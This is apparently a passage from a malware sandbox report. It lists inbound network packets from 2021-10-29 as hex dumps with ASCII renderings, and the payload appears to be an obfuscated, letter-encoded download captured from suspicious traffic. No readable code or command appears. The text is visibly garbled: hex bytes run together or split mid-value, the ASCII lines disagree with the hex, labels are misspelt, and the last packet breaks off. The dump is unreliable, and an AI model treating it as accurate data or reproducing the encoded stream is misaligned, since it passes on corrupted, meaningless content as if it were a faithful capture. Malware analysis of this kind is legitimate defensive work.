2021-10-29 18:29:04 UTC 228 IN Data Raw: 6d 58 20 6d 6d 20 57 6d 20 6d 20 71 20 70 20 44 20 4a 71 20 44 44 20 44 58 20 58 6d 20 44 44 20 4f 20 71 71
6d 20 57 4f 20 71 71 6d 20 71 58 20 44 6d 20 57 57 20 6d 71 20 57 71 20 71 20 4d 20 57 20 70 20 71 44 20 6d 4d 20 45
712058582057 4f20 7171442071 71 70 20 71 71 44 20 71 71 4a 20 4a 71 20 45 4f 20 45 44 20 4d 4f 20 45 4f 20 71
714d204d 20 717170207171 6d20 71 4f 71 20 57 57 20 45 4f 20 58 57 20 6d 4d 20 71 71572071 71 4420 71 71
44 20 4a 20 4d 58 20 44 57 20 57 57 20 71 4f 4d 20 45 70 20 71 71 58 20 4d 20 71 71 57 20 71 71 4a20 71 4f 70 20 57 7
120 6d 58 20 4d 4a 20 44 57 20 71 71 57 20 57 20 71 4f 20 71 71 6d 20 4d 45 20 45 71 20 6d 58 20 6d 45 20 45 4a 20 71
7157 204420717157 20 71 71 57 20 4a 70 20 45 6d 20 57 71 20
Data Ascii: mX mm Wm m g p D Jg DD DX Xm DD O ggm WO ggm gX Dm WW mqg Wq g M W p gD mM Eg XX WO qgD
qgp qqD gqd Jg EO ED MO EO qgM M ggp qgm qOg WW EO XW mM gqgW qgqD ggD J MX DW WW gqOM Ep qgX M qqW
qgJ qOp Wg mX MJ DW qgqW W gO ggm ME Eq mX mE EJ qqW D qqW gqW Jp Em Wq

2021-10-29 18:29:04 UTC 244 IN Data Raw: 45 20 57 4f 20 71 71 45 20 57 4d 20 4a 58 20 70 20 58 20 4a 20 45 4f 20 71 4f 4f 20 4d 70 20 4d 4d 20 4a 6d
20 4a 4d 20 4a 45 20 71 4f 20 71 71 4a 20 4d 6d 20 4d 57 20 58 57 20 57 6d 20 70 4d 20 71 45 20 4a 4f 20 70 20 70 4f 20
584520 44 44 20 71 71 57 20 4458 20 57 71 20 71 71 6d 20 70 58 20 58 20 71 45 20 44 6d 20 58 70 20 4d 4f 20 57 6d
20 4a57 20 71 4d 20 71 20 71 6d 20 4a 6d 20 57 4f 20 71 71 4d 20 58 45 20 44 44 20 4a 57 20 4a 4a 20 44 6d 20 70 45
20 71 45 20 44 57 20 58 58 20 57 4f 20 71 71 45 20 57 4d 20 70 71 20 57 20 4a 6d 20 6d 20 58 45 20 71 4a 4f 20 58 70 2
044 4d 20 44 4f 20 71 71 6d 20 57 44 20 71 4a 20 6d 20 4d 4f 20 6d 58 20 44 44 20 44 58 20 57 4d 20 4a 4f 20 4a 58 20
71 20 4a 71 20 4d 58 20 58 71 20 45 4f 20 4d 6d 20 58 6d 20 57 70
Data Ascii: E WO qgE WM JX p X J EO qOO Mp MM Jm JM JE qO gqgJ Mm MW XW Wm pM gE JO p pO XE DD qqW DX
Wqg qgm pX X gE Dm Xp MO Wm JW gM g gm Jm WO qgM XE DD JW JJ Dm pE gE DW XX WO qqE WM pq W Jm m XE
qJO Xp DM DO ggm WD gJ m MO mX DD DX WM JO JX g Jg MX Xq EO Mm Xm Wp

2021-10-29 18:29:04 UTC 255 IN Data Raw: 4a 20 4a 4d 20 4a 4f 20 4d 6d 20 71 4f 44 20 57 20 4a 20 71 57 20 4a 70 20 4a 70 20 45 20 4a 57 20 4a 57 20
58 6d 20 58 4d 20 58 71 20 58 45 20 70 4a 20 4a 70 20 44 20 71 4f 4d 20 70 6d 20 58 45 20 4d 4a 20 58 45 20 58 45 20
70 4d 20 4a 70 20 70 4a 20 4a 4d 20 4a 4f 20 58 70 20 44 58 20 58 45 20 44 4d 20 58 6d 20 70 70 20 71 20 70 71 20 4a
57 20 44 44 20 4d 45 20 45 71 20 58 4d 20 70 4a 20 4a 70 20 44 20 71 4f 4d 20 57 6d 20 44 6d 20 4d 57 20 4d 57 20 71 4
a 70 20 44 71 20 4a 58 20 4f 20 4a 57 20 4a 71 20 44 57 20 6d 58 20 71 4f 4d 20 58 4f 20 44 71 20 70 4f 20 71 44 20 6d 4
520 4d 20 45 4f 20 58 57 20 44 57 20 57 6d 20 70 20 4f 20 4a 58 20 4a 57 20 4a 71 20 71 71 57 20 4d 4a 20 4d 6d 20 71
7144 20 6d 57 20 44 20 71 44 20 70 4f 20 71 71 4a 20 71 71 70 20
Data Ascii: J JM JO Mm qOD W J qW Jp Jp E JW JW Xm XM Xqg XE pJ Jp D qOM pm XE MJ XE XE pM Jp pJ JM JO Xp
DX XE DM Xm pp g pq JW DD ME Eq XM pJ Jp D gOM Wm Dm MW MW gJp Dg JX O JW Jg DW mX qOM XO Dq pO gD
mE M EO XW DW Wm p O JX JW Jq qqgW MJ Mm qgD mW D gD pO qqgJ qgp

2021-10-29 18:29:04 UTC 271 IN Data Raw: 44 58 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 45 44 20 57 4f 20 57 6d 20 4d 71 20 70 4d 20 71 71 45 20 70 57 20
7171 4a20714a71206d 582071 4a 6d 20 57 6d 20 70 20 71 71 6d 20 57 58 20 71 4f 4d 20 44 4a 20 57 4f 20 6d 58
2071715720 71 71 45 20 58 6d 20 4a 45 20 71 71 45 20 6d 4f 20 71 71 4a 20 4f 20 6d 58 20 71 71 4a 20 57 6d 20 6d
57 20 71 71 6d 20 4a 44 20 71 4f 4d 20 70 4f 20 57 4f 20 71 4f 4a 20 57 4f 20 71 4f 4f 20 58 6d 20 70 4d 20 71 71 45 20 70
4d 20 71 71 4a 20 71 4a 4f 20 6d 58 20 4d 6d 20 57 6d 20 57 57 20 71 71 6d 20 44 4a 20 71 4f 4d 20 57 4d 20 57 4f 20 45
6d 20 57 4f 20 71 71 4d 20 58 6d 20 57 45 20 71 71 45 20 57 58 20 71 71 4a 20 58 57 20 6d 58 20 58 4d 20 57 6d 20 6d
6d 20 71 71 6d 20 44 4f 20 71 4f 4d 20 4a 45 20 57 4f 20 71 4f
Data Ascii: DX gOM qgqJ mM ED WO Wm Mq pM gqqE pW qqJ qJg mX gJm Wm p ggm WX qOM DJ WO mX qqW qqE
Xm JE qqE mO qgJ O mX qgJ Wm mW ggm JD gOM pO WO qOJ WO qOO Xm pM qgE pM qgJ gJO mX Mm Wm WW ¢
gm DJ gOM WM WO Em WO gqgM Xm WE qgE WX ggJ XW mX XM Wm mm ggm DO qOM JE WO qO

2021-10-29 18:29:04 UTC 287 IN Data Raw: 4f 71 20 71 4f 58 20 71 71 70 20 70 4d 20 70 6d 20 70 71 20 57 57 20 45 6d 20 71 71 6d 20 4d 44 20 71 4a 45
20 4a 6d 4f 20 71 57 71 20 6d 4d 20 6d 6d 20 57 6d 20 4d 70 20 71 71 45 20 71 71 44 20 71 4a 4f 20 4d 58 20 70 71 20
6d 4d 20 70 4a 20 71 58 70 20 58 6d 20 71 4a 70 20 71 71 6d 20 71 4f 58 20 71 4f 71 20 70 4a 20 4a 4d 20 57 71 20 70
4420 4a 714220715844 2071 4a4420 71 4f44 2071 71 6d 20 70 4a 20 71 4f 420 70 4d 20 7044 20 71 4a 71 20 71
7157 20 71 4f 70 20 4a 70 44 20 71 71 4a 20 57 57 20 57 58 20 57 7120 70 44 20 4a 717020 7171 6d 20 71 71 4a 20 7
14f442071 71702070 4a 20 71 45 4520 71 4a 44 20 71 4d 20 58 70 20 71 4a 4a 20 4d 44 20 71 4a 45 20 4d 70 20 57
71 20 70 6d 20 71 45 4d 20 57 6d 20 44 57 20 4d 44 20 44 6d 20 71
Data Ascii: Ogq qOX qgp pM pm pg WW Em gqgm MD gJE JmO qWgq mM mm Wm Mp qqE qgqD qJO MX pg mM pJ gXp Xm
gqJp ggm gOX qOqg pJ IM Wq pD JgJ gXD gJD qOD ggm pJ qOO pM pD gJqg ggW qOp JpD qgJ WW WX Wq pD Jgp ggm
qqJ gOD qqgp pJ gEE gD gM Xp qJJ MD qJE Mp Wgq pm gEM Wm DW MD Dm ¢

2021-10-29 18:29:04 UTC 303 IN Data Raw: 58 20 71 45 58 20 71 6d 4d 20 57 71 20 70 44 20 4a 71 4a 20 4a 71 58 20 71 4a 6d 20 44 4d 20 71 71 4a 20
70 4d 20 70 6d 20 70 20 57 57 20 45 4f 20 4a 6d 4a 20 71 44 71 20 71 4f 4f 20 58 58 20 57 4f 20 70 45 20 70 4a 20 45 20
58 57 20 4d 44 20 4a 6d 57 20 71 44 4d 20 71 4a 71 20 4a 44 20 6d 58 20 70 4d 20 70 44 20 71 4f 71 20 71 71 57 20 71
4f 70 20 4a 70 45 20 71 44 4f 20 57 4d 20 4a 6d 20 57 4f 20 70 57 20 45 4f 20 44 45 20 71 71 44 20 71 4a 45 20 4a 6d 4f
20 4a 57 6d 20 57 71 20 4a 44 20 57 6d 20 4d 6d 20 71 4a 70 20 4d 70 20 71 4f 4d 20 71 4f 71 20 70 4a 20 4a 4d 20 57 7
120704420 4a714a20714d6d 20 71 4a 6d 20 44 4d 20 71 71 4a 20 70 4d 20 70 6d 20 70 71 20 57 57 20 45 4f 20 4a
6d 4a 20 71 6d 71 20 71 4f 4f 20 58 58 20 57 4f 20 70 45 20 70 4a
Data Ascii: X gEX gmM Wq pD JgJ JgX gJm DM qgJ pM pm p WW EO JmJ qDg OO XX WO pE pJ E XW MD JmW ¢DM
gJg JD mX pM pD qOq qqW qOp JpE gDO WM Jm WO pW EO DE qgqD gJE JmO JWm Wq JD Wm Mm gJp Mp qOM qOq
pJ IM Wq pD JgJ gMm gJm DM qgJ pM pm pg WW EO JmJ gmg qOO XX WO pE pJ

2021-10-29 18:29:04 UTC 319 IN Data Raw: 4d 20 57 6d 20 57 4f 20 45 6d 20 57 4f 20 71 4f 58 20 58 6d 20 70 57 20 71 71 45 20 4a 4d 20 71 71 4a 20 4d
57 20 6d 58 20 58 70 20 57 6d 20 71 4d 20 71 71 6d 20 44 70 20 71 4f 4d 20 44 20 57 4f 20 58 71 20 57 4f 20 71 71 70 20
58 6d 20 70 4f 20 71 71 45 20 4a 57 20 71 71 4a 20 71 4f 45 20 6d 58 20 71 4f 71 20 57 6d 20 4a 20 71 71 6d 20 44 20 71
4f 4d 20 6d 71 20 57 4f 20 4d 70 20 57 4f 20 71 57 20 58 6d 20 4a 4d 20 71 71 45 20 71 6d 20 71 71 4a 20 71 71 45 20 6d
5820 44 44 20 57 6d 20 44 71 20 71 71 6d 20 6d 6d 20 71 4f 4d 20 4a 4d 20 57 4f 20 45 4a 20 57 4f 20 4d 70 20 58 6d 20
6d 70 20 71 71 45 20 4d 57 20 71 71 4a 20 45 20 6d 58 20 4d 4a 20 57 6d 20 71 70 20 71 71 6d 20 45 71 20 71 4f 4d 20
44 4d 20 57 4f 20 58 58 20 57 4f 20 58 57 20 58 6d 20 57 70
Data Ascii: M Wm WO Em WO qOX Xm pW qqE JM qgJ MW mX Xp Wm gM qgm Dp qOM D WO Xgq WO qgp Xm pO qqE
JW qgJ gOE mX gOg Wm J ggm D gOM mgq WO Mp WO gW Xm JM qgE gm qgJ qqE mX DD Wm Dg ggm mm qOM JM
WO EJ WO Mp Xm mp qqE MW ggJ E mX MJ Wm gp ggm Eq gOM DM WO XX WO XW Xm Wp

2021-10-29 18:29:04 UTC 335 IN Data Raw: 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20
57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20
57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d
207171 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20
7171 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58
2057 4f 2057 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d
207171 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f
Data Ascii: ggJ WO mX WO Wm Xm ggm gqgE qOM gqgJ WO mX WO Wm Xm gqgm gqE qOM ggqJ WO mX WO Wm Xm
ggm ggE qOM gqgJ WO mX WO Wm Xm qgm qgE qOM ggJ WO mX WO Wm Xm gqgm qgE qOM gqgJ WO mX WO Wm
Xm gqgm gqE gOM ggJ WO mX WO Wm Xm ggm qgE qOM gqgJ WO mX WO Wm Xm ggm qgE qOM ggqJ WO
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 351 IN Data Raw: 71 6d 20 4a 20 4f 20 6d 4f 20 45 20 4f 20 4f 20 44 20 4f 20 4f 20 4f 20 4f 20 4f 20 70 4a 20 45 4f 20 4f 20 4f 20
4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 4a 57 6d 20 71 4a 20 70 20 4f 20 4a 57 6d 20 71 6d 20 4a 57 20 4f 20 4a 57 6d 20
71 4a 20 4a 57 20 4f 20 57 45 20 71 44 58 20 4f 20 4f 20 4f 20 70 4a 20 45 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a
20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 44 20 4f 20 70 4a 20 45 4a 20 4f 20 4f 20 4f 20 4a 57 6d
20 71 6d 20 4a 20 4f 20 70 4a 20 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 45 20 4f 20 70 4a 20 45 70 20 4f 20 4f 20
4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 4a 57 6d 20 71 4a 20 58 20 4f 20 4a 57 6d 20 71 4a 20 4d 20 4f 20 6d 4f 20 71 4a
20 4f 20 4f 20 44 20 4a 57 6d 20 71 6d 20
Data AscitgmJOmMOEOODOOOOOpPIJEOOOOJIJWmgmJO JIWmgJpOJIWmagmJIW O IJWm gl IJW O WE
gDXOOOpPIJEQOOOIWMgMmJIOpPIOOOOIWmMmgMIDOPIJEIJOO OIWmgmJIOplgO OO IWmgmJIEO
pJEpOOOJWmgmJOJWmagJ XOJIWmqgJMO mO gJ O ODJWmgm

2021-10-29 18:29:04 UTC 367 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4f 44 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 4a 4a 71 20 6d 4d 20 4f 20
4f 20 4f 20 71 71 45 20 70 4a 20 4f 20 4f 20 71 20 4a 4f 20 4a 57 6d 20 70 20 4a 57 6d 20 71 4a 20 71 20 4f 20 70 4a 20
4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 70 20 4d 57 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57
6d 20 71 20 4d 57 20 4a 57 6d 20 71 45 20 71 71 44 20 70 4a 20 4f 20 4f 20 71 20 6d 4f 20 4d 20 4f 20 4f 20 71 4f 20 4a
4a71 20 7157 70 20 4a 57 57 20 4a 57 57 20 4a 57 57 20 70 4a 20 57 71 20 4f 20 71 4f 20 71 4a 58 20 6d 4f 20 71 4f 20
4f 20 4f 20 71 4f 20 71 4a 4a 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 57 45 20 44 20 4f 20 4f 20 4f 20 6d 4f 20 45 20 4f 20 4f
20 71 4f 20 4f 20 4a 57 6d 20 71 4a 20 4f 20 4f
Data Ascii: O O O O O O qOD JWm JWW JWW JJgmM O O O qgqE pJ O O g JO JWm p JWm gJ g O pJ O O O O JWm
p MW JIWmgJJOpJO O OO JIJWmqgMW JIWm gE qgD pJ O O g mO M O O qO JJg gWp JWW JWW JWW pJ Wg O
g0 gIXmO g0 00 g0 glJ IWmglJOWEDOOOmMOEOOgOOJIWmagJOO

2021-10-29 18:29:04 UTC 383 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 70 71 20 57 70
2071 57 45 20 70 45 20 4a 4a 20 70 71 20 4d 45 20 71 57 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 71
4d 20 6d 58 20 6d 20 4f 20 71 57 4f 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 4a 58 20 71 6d 71 20 71 70 44 20 4f 20
4f 20 71 20 70 45 20 70 4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 57 20 4f 20 4f
20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 4a 45 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 20 4f 20
4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45
20 4a 44 20 70 71 20 71 4f 58 20 71 57 45 20 70 45
Data Ascii: O O O O pgq WD qWE pE pJ O O O O pg Wp qWE pE JJ pg ME qWE gqqW gXE O O g0 mJ gM mX m O gwO
OOOpOOQgE JIXgmgagpD O O qpE pJW O O O pggOg gWE pE pJ W O O O pqg ME qWE pE JE pq qOJ qWE pE pJ
m O O O pg WE qWE pE pJ m O O O pg Wm qWE pE JD pg qOX qWE pE

2021-10-29 18:29:04 UTC 399 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 70 4f 20 4f 20 4f 20 4f 20 70 71 20
6d 4d 20 71 57 45 20 70 45 20 70 71 20 70 4f 20 70 71 20 6d 44 20 71 57 45 20 70 45 20 70 4a 20 4a 4d 20 4f 20 4f 20 4f
2070 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 4a 4d 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70
7120 4a4d 20707120 71 7157 20 71 57 45 20 70 45 20 70 4a 20 4a 58 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45
20 70 45 20 70 4a 20 4a 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 71 20 4a 58 20 70 71 20 71
7144 20 71 57 45 20 70 45 20 70 4a 20 4a 45 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20 4a 45
20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70
Data Ascii: O O O O pg qOq gWE pE pJ pO O O O pg mM qWE pE pg pO pq mD qWE pE pJ JM O O O pq mX qWE pE
pJ JM O O O pgq WD qWE pE pq JM pq qqW qWE pE pJ JX O O O pg WO qWE pE pJ JX O O O pq qOq qWE pE pg JX
pg qgb qWE pE pJ JE O O O pg MX qWE pE pJ JE O O O pg Wm qWE p

2021-10-29 18:29:04 UTC 415 IN Data Raw: 4a 4f 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 4d 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20
70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71
2057 4f 20 71 57 45 20 70 45 20 70 4f 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 45 20 4f 20 4f 20 4f 20 70
712057 6d 20 71 57 45 20 70 45 20 70 4a 20 45 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 4a 4d 20 70
712071 4f 58 20 71 57 45 20 70 45 20 70 4a 20 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a
20 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 4a 58 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70
4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20
Data Ascii: JOO O O p O O gE pq M gmg gpD O O g pE pJ X O O O pq qOO qWE pE pJ X O O O pq WO qWE pE pO pq
gOX qWE pE pJ E O O O pg Wm gWE pE pJ E O O O pq WJ qWE pE JM pg qOX qWE pE pJ D O O O pg qOqg qWE pE
pJ D O O O pg qOO qWE pE JX pg qOO qWE pE pJ W O O O pqg Wm

2021-10-29 18:29:04 UTC 431 IN Data Raw: 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 71 20 57 4a 20 70 71 20 44 57 20 71 57 45 20 70
45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70
712057 4a 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20
57 71 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 4520 70 71 20 57 71 20 70 71 20 70 4a 20 71 57 45 20 70 45
20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71
2057 45 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 57
4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45
Data Ascii: O O O pq ME qWE pE pg WJ pgq DW gqWE pE pJ Wgq O O O pg WD qWE pE pJ Wg O O O pgq WJ qWE pE pJ
Wq O O O pg MX qWE pE pJ Wg O O O pg WJ qWE pE pg Wq pq pJ gqWE pE pJ WO O O O pg qOJ gWE pE pJ WO O
O O pg WE qWE pE pJ WO O O O pg WO gqWE pE pJ WO O O O pg qOO qWE

2021-10-29 18:29:04 UTC 447 IN Data Raw: 20 58 58 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71
57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f
20 4f20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 58 45 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70
452070712058 45 20 70 71 20 71 71 4a 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a
20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f
20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 58 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45
207045207071205844207071207171712071
Data Ascii: XX pq qOq qWE pE pJ XE O O O pq WO gWE pE pJ XE O O O pg WD gqWE pE pJ XE O O O pq Wm qWE
pE pJ XE O O O pgq qOO gqWE pE pg XE pq qgJ gWE pE pJ XD O O O pq qOJ qWE pE pJ XD O O O pq WE qWE pE pJ
XD O O O pg WE gWE pE pJ XD O O O pgq qOq qWE pE pq XD pg qqq q

2021-10-29 18:29:04 UTC 463 IN Data Raw: 57 45 20 70 45 20 70 71 20 70 44 20 70 71 20 71 71 71 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20
4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20
70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 70 57 20 4f 20 4f 20 4f 20 70 71 20 57
4f 20 71 57 45 20 70 45 20 70 71 20 70 57 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20
70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a
20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 57 57 20 71 57 45 20 70 45 20 70 4a 20 70 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45
20 71 57 45 20 70 45 20 70 71 20 70 6d 20 70 71 20 71
Data Ascii: WE pE pq pD pg qqgq qWE pE pJ pW O O O pg WO qWE pE pJ pW O O O pg mX qWE pE pJ pW O O O pq
WO gWE pE pJ pW O O O pg WO qWE pE pq pW pg pJ gWE pE pJ pm O O O pq WD qWE pE pJ pm O O O pqg MM
gWE pE pJ pm O O O pq WW qWE pE pJ pm O O O pq WE qWE pE pg pm pq q
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 479 IN Data Raw: 44 20 4f 20 4a 4f 4f 20 44 20 4a 71 57 20 70 71 20 4d 20 4f 20 6d 20 4f 20 70 44 20 4f 20 71 20 4f 20 71 44 20
4f 20 71 4d 71 20 71 57 20 4a 4f 71 20 70 4d 20 4d 20 4f 20 44 20 4f 20 6d 4f 20 4f 20 71 20 4f 20 71 44 20 4f 20 71 4f 6d
20 70 4d 20 71 44 4d 20 4f 20 4d 20 4f 20 45 20 4f 20 6d 57 20 4f 20 71 20 4f 20 4f 20 4f 20 4a 70 6d 20 4a 6d 20 71 44
4d 20 4f 20 4d 20 4f 20 4d 20 4f 20 6d 45 20 4f 20 4f 20 4f 20 71 44 20 4f 20 71 70 57 20 70 4a 20 71 44 4d 20 4f 20 4d 20
4f 20 4d 20 4f 20 44 44 20 4f 20 71 4a 4d 20 71 20 71 44 20 4f 20 71 4a 20 71 6d 20 71 44 4d 20 4f 20 4d 20 4f 20 4d 20
4f 20 44 45 20 4f 20 71 70 4f 20 71 20 71 44 20 4f 20 4a 4f 4d 20 4d 20 4f 20 4f 20 4d 20 4f 20 71 70 20 4f 20 44 4d 20 4f
20 71 4f 20 71 20 71 45 20 4f 20 71 6d 4f 20
Data Ascii: D O JOO D JgW pg MO m O pD O q O gD O gMg qW JOg pM MO D O mO O q O gD O gqOm pM gDM O M
OEOmMWOqOOOJpmImgDMOMOMOmMEOOOQgD O gpW pJgDM O M O M O DD O gqJM g gD O qJ gm gDM
OMOMODEOgpOggDb OJOMMOOMOgp ODMO gO qqE O gnO

2021-10-29 18:29:04 UTC 495 IN Data Raw: 4f 20 4a 20 4f 20 71 4f 58 20 57 20 4f 20 4f 20 71 20 4f 20 71 71 20 71 70 20 4f 20 4f 20 4a 20 4f 20 71 45 58
20 6d 71 20 4f 20 4f 20 70 20 4f 20 71 70 4a 20 71 45 20 4f 20 4f 20 6d 20 4f 20 71 44 45 20 6d 4f 20 4f 20 4f 20 57 20 4f
20 57 57 20 6d 45 20 4f 20 4f 20 44 20 4f 20 58 4a 20 4a 58 20 4f 20 4f 20 45 20 4f 20 57 4d 20 4a 4f 20 4f 20 4f 20 58 20
4f 20 4a 70 58 20 71 70 20 4f 20 4f 20 4d 20 4f 20 4a 70 4d 20 4a 4d 20 4f 20 4f 20 71 4f 20 4f 20 6d 71 20 70 57 20 4a 20
4f 20 71 71 20 4f 20 71 6d 58 20 6d 70 20 4f 20 4f 20 71 4a 20 4f 20 71 4a 71 20 71 70 20 4f 20 4f 20 71 20 4f 20 71 57 4a
20 6d 4f 20 4f 20 4f 20 4a 20 4f 20 71 58 4a 20 6d 20 4f 20 4f 20 71 20 4f 20 71 58 70 20 70 45 20 4f 20 4f 20 4a 20 4f 20
71 58 20 4a 70 20 4f 20 4f 20 71 20 4f
Data Asci: 0 JO gOXW O O0qOqggpO OJOgEXmgO O pOgpJgeE OO mO gbDE mO O OW O WW mE OO D
OXJIXOOEOWMJOOOXOJpXgpOOMOIpMIM OO OO mmMgpWJOgqgOgmXmpOOqgJOqglggp OO
qoOgwimOO0O0JOgXImOOqOgXppEOOJOgXJpOOQgO

2021-10-29 18:29:04 UTC 511 IN Data Raw: 71 20 71 4f 4f 20 4f 20 44 45 20 71 71 71 20 71 71 4f 20 71 71 44 20 71 71 6d 20 4d 45 20 4d 4d 20 71 71 44
20 71 4f 71 20 71 4f 4f 20 4f 20 4d 4d 20 71 71 71 20 71 4f 58 20 71 4f 58 20 71 4f 71 20 4d 4d 20 71 71 44 20 71 4f 71 20
71 4f 4f 20 4f 20 58 4a 20 71 4f 71 20 71 4f 4f 20 71 71 6d 20 4d 45 20 71 4f 4a 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f
2071 4f 7020 71 4f 71 20 71 71 44 20 4d 57 20 45 4a 20 4d 45 20 71 71 57 20 44 4d 20 71 4a 4f 20 71 4f 57 20 71 71 44
20714712071 4f4f204f2071714f2071 71712071 71 420 71 4f57 20 71 71 420 71 4f 4a 20 71 4f 71 20 71 71
57 20 71 71 44 20 71 4f 71 20 71 4f 4f 20 4f 20 44 44 20 4d 45 20 4d 4d 20 71 4f 45 20 71 4f 4a 20 71 4f 57 20 71 71 44
207171 44 20 71 4f 71 20 71 4f 4f 20 4f 20 58
Data Ascii: g gOO O DE qqg gqO ggD ggm ME MM qgD qOg qOO O MM ggq qOX qOX qOg MM qgD qOg qOO O XJ qOq
